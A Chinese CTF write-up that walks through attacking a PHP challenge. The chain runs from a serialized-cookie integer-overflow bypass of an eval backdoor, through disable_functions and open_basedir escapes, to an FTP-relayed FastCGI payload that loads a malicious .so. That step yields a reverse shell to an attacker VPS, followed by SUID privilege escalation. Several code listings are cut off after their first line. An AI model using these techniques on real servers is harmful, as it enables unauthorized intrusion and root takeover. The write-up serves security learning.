题目还是比较难的,复现过程中学习到了不少东西,ccc
审题
题目给了2个源文件代码
add_api.php:
1 | <?php |
user.php
1 | <?php |
得到几点信息,如下:
- 如果
$user=unserialize($_COOKIE["data"])
发生错误,例如未在cookie中设置data或错误设置,那么会类似报错执行else。从而重新实例化一个user并赋值。 - 如果
$count[]=1
发生错误,就会执行eval($_GET["backdoor"])
整型溢出略过
这里的最大值是根据php 的位数来定的,可以在php中输出PHP_INT_MAX
来确定最大值。我本地环境就是1
2x86: 2147483647
x64: 9223372036854775807php5.*
是32位,php7.*
64位。
这里我们还需要了解一下$count[]=1
,它就是将数组的末尾再增加一个元素。这就可以让我们利用溢出绕过了或者说是略过。
我们注意到这题前面还有个$count[++$user->count]=1;
它也会将下标加一然后赋个值(也就是在此下标后面添加一个元素值)。我们需要的是在if那里溢出所以我们选择的值为9223372036854775806
,当执行到if那里时就爆出警告然后返回false
,达到绕过效果。1
2
3
4
5
6
7
8
9
10
11<?php
class User{
public $count=9223372036854775806;
}
$a = new User();
echo $b=serialize($a)."\n";
echo urlencode($b);
//O:4:"User":1:{s:5:"count";i:9223372036854775806;}
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D%0A
?>
接下来,我们在phpinfo中信息收集: - 发现disable_functions禁用函数如下:
1
stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive
- 发现限制了目录:
1
open_basedir /var/www/html
绕过 disable_functions
简单理解就是利用未禁止的函数构造出我们想要得到的结果。
参考链接
下面我就说说自己常用的绕过方法以及本题的解法。利用环境变量LD_PRELOAD绕过
1、使用mail
前提条件
Linux环境、putenv()、mail() 函数可用。基本原理
当 disable_functions 禁用了命令执行函数,webshell 无法执行系统命令时,可以通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执行操作系统命令利用步骤
- 下载bypass_disablefunc.php和bypass_disablefunc_x64.so,并上传到目标服务器
- 执行命令其中:
1
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
1
2
3cmd: 执行的命令
outpath: 读写权限目录,将把结果写在这里
sopath: so文件的绝对路径2、error_log
将上述mail例子中的mail(“”, “”, “”, “”);替换为error_log(“a”,1);3、imagemagick+GhostScript
需要安装过此扩展。
exp:
1 | <?php |
其中 imag.c
文件需要编译,命令如下:
1 | gcc -shared -fPIC imag.c -o imag.so |
imag.c代码如下:
1 | #include <stdlib.h> |
利用未被禁用函数
例如,以下函数,可以列目录、读文件
1 | var_dump(scandir('/var/www/html')); |
这里需要自己积累发现了。
如,也是可以列出目录的:
1 | <?php |
它还可以绕过 open_basedir
访问根目录(也只有根目录)
利用扩展的漏洞
这里可能有很多,如蚁剑里的插件就有这么多。
我们主要看看,fastcgi/PHP_FPMM
。(他的存在相当于重新拿到一个不受php.ini
影响的shell,所以不受disable_functions的影响。)
【fastcgi、PHP-FPM】、【参考链接2】
1 | php-fpm是实现 fastcgi协议 的“服务器”,Web server是实现了 fastcgi协议 的客户端。 |
最直接的原因就是:PHP-FPM 默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi 协议,和 fpm 进行通信。
具体我们后面做题时介绍,其实就是PHP-FPM未授权访问漏洞
绕过open_basedir
前面一些绕过disable_functions
函数的照样可以绕过open_basedir
这里我们特举一个例子
1 | <?php |
1 | 通过在FastCGI协议修改PHP_VALUE字段进而修改php.ini中的一些设置,而open_basedir 同样可以通过此种方法进行设置。比如:$php_value = "open_basedir = /"; |
但是我们发现还是读不了flag,它设置了文件权限500
利用 file_put_contents、ftp协议、fastcgi拿shell
熟悉我们通过phpinfo知道了使用Server API
为 FPM/FastCGI
可以想到未授权访问(但是还是逃不掉disable_functions)。因为禁用了许多函数和类,普通的ssrf无法使用,但是ftp协议未被禁用【参考链接】
file_put_contents 在使用 ftp 协议时, 会将 data 的内容上传到 ftp 服务器, 由于上面说的 pasv 模式下, 服务器的地址和端口是可控, 我们可以将地址和端口指到 127.0.0.1:9000. 同时由于 ftp 的特性, 不会有任何的多余内容, 类似 gopher 协议, 会将 data 原封不动的发给 127.0.0.1:9000, 完美符合攻击 fastcgi 的要求.
信息收集确认监听端口
fpm默认的监听端口都是9000
,但是这题不是。需要我们一步一步查找,它一般在php-fpm.conf、www.conf
内。
- 扫描
/proc/**/cmdline
文件,得到进程的命令行参数。可以先写一个读文件php进去,然后爆破扫一下。最后发现可以进程:1
2
3
4
5
6
7
8<?php
mkdir('mayi');
chdir('mayi');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents($_GET['file']));- 随后我们读一下这个文件
/usr/local/etc/php-fpm.conf
发现起包含了当前目录下的etc/php-fpm.d/*.conf
那么我们就读一下。
- 首先我们也可建立一个列文件的php如下:得到
1
2
3
4
5
6
7
8<?php
mkdir('mayi');
chdir('mayi');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(scandir($_GET[dir]));www.conf
文件: - 也就是说包含了这个文件,我们自然读一下这个文件。
- 发现监听的是
9001
端口。
- 随后我们读一下这个文件
伪造FTP服务器
vps执行如下命令
1 | import socket |
为什么要发这些包,可以【看这里】
生成payload
1 | <?php |
其中有如下语句确定加载我们后面制作的木马
1 | // 设置php_value加载恶意so文件,把so文件上传到/var/www/html中或其他目录 |
制作马
evil.c
源码
1 | #define _GNU_SOURCE |
编译:
1 | gcc evil.c -fPIC -shared -o evil.so |
然后上传,我们代码中显示我们直接上传到网站根目录即可。
开启恶意ftp服务器
使用python2
vps监听端口
nc -lvp 2333
创建并访问file_put_contents利用文件
1 | <?php |
格式如下:
1 | file_put_contents("ftp://vps:端口/anything",前面文件生成的 fastcgi payload,因为有特殊字符制作时做了urlencode所以这里进行urldecode一次) |
随后就可以去访问了。
此时我们可以看到vps监听的端口已经上线了。
是www-data
的权限。
suid提权
因为flag设置了700
所以我们需要提权。SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
1 | #以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试 |
发现了php有root的s权限,我们使用-a进入交互模式。
因为是php执行所以还是需要绕过open_basedir
1 | mkdir('mayi');chdir('mayi');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag'); |
得到flag
参考链接:
https://mp.weixin.qq.com/s/ioclxQeG_TFvmaKVQB9LQQ
https://zhuanlan.zhihu.com/p/343918026
https://err0r.top/article/bluehat2021/
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
直接更改蚁剑插件的代码
【参考链接】
通过前面的介绍我们知道,蚁剑有可以直接利用fpm的插件,但是有2个地方需要改,第一个是它的端口,一个是fsockopen
它被禁用了,可以用pfsockopen
它是打开一个持久的参数都一致。我没复现成功
我的插件文件路径:
1 | D:\ant\ant_work\antSword-master\antData\plugins\as_bypass_php_disable_functions-master\core\php_fpm\index.js |
打开这个文件,进行修改。把fsockopen
替换为pfsockopen
。并且再添加一个127.0.0.1:9001
选项
但是我不知道为啥不成功。
更新
今天看了一个师傅的【wp】
这篇文章确实写得比较好,思路清晰。而且我还知道了之前为啥修改蚁剑插件不成功了。
原因是需要修改2个文件,其中\antData\plugins\as_bypass_php_disable_functions-master\payload.js
文件我们也需要将fsockopen
替换为pfsockopen
我们看到这里是www-data用户,但是基础信息又显示是root,这里应该直接利用到了php文件的suid。(本来就是php运行的)但是我们直接执行系统命令时用的还是www-data权限。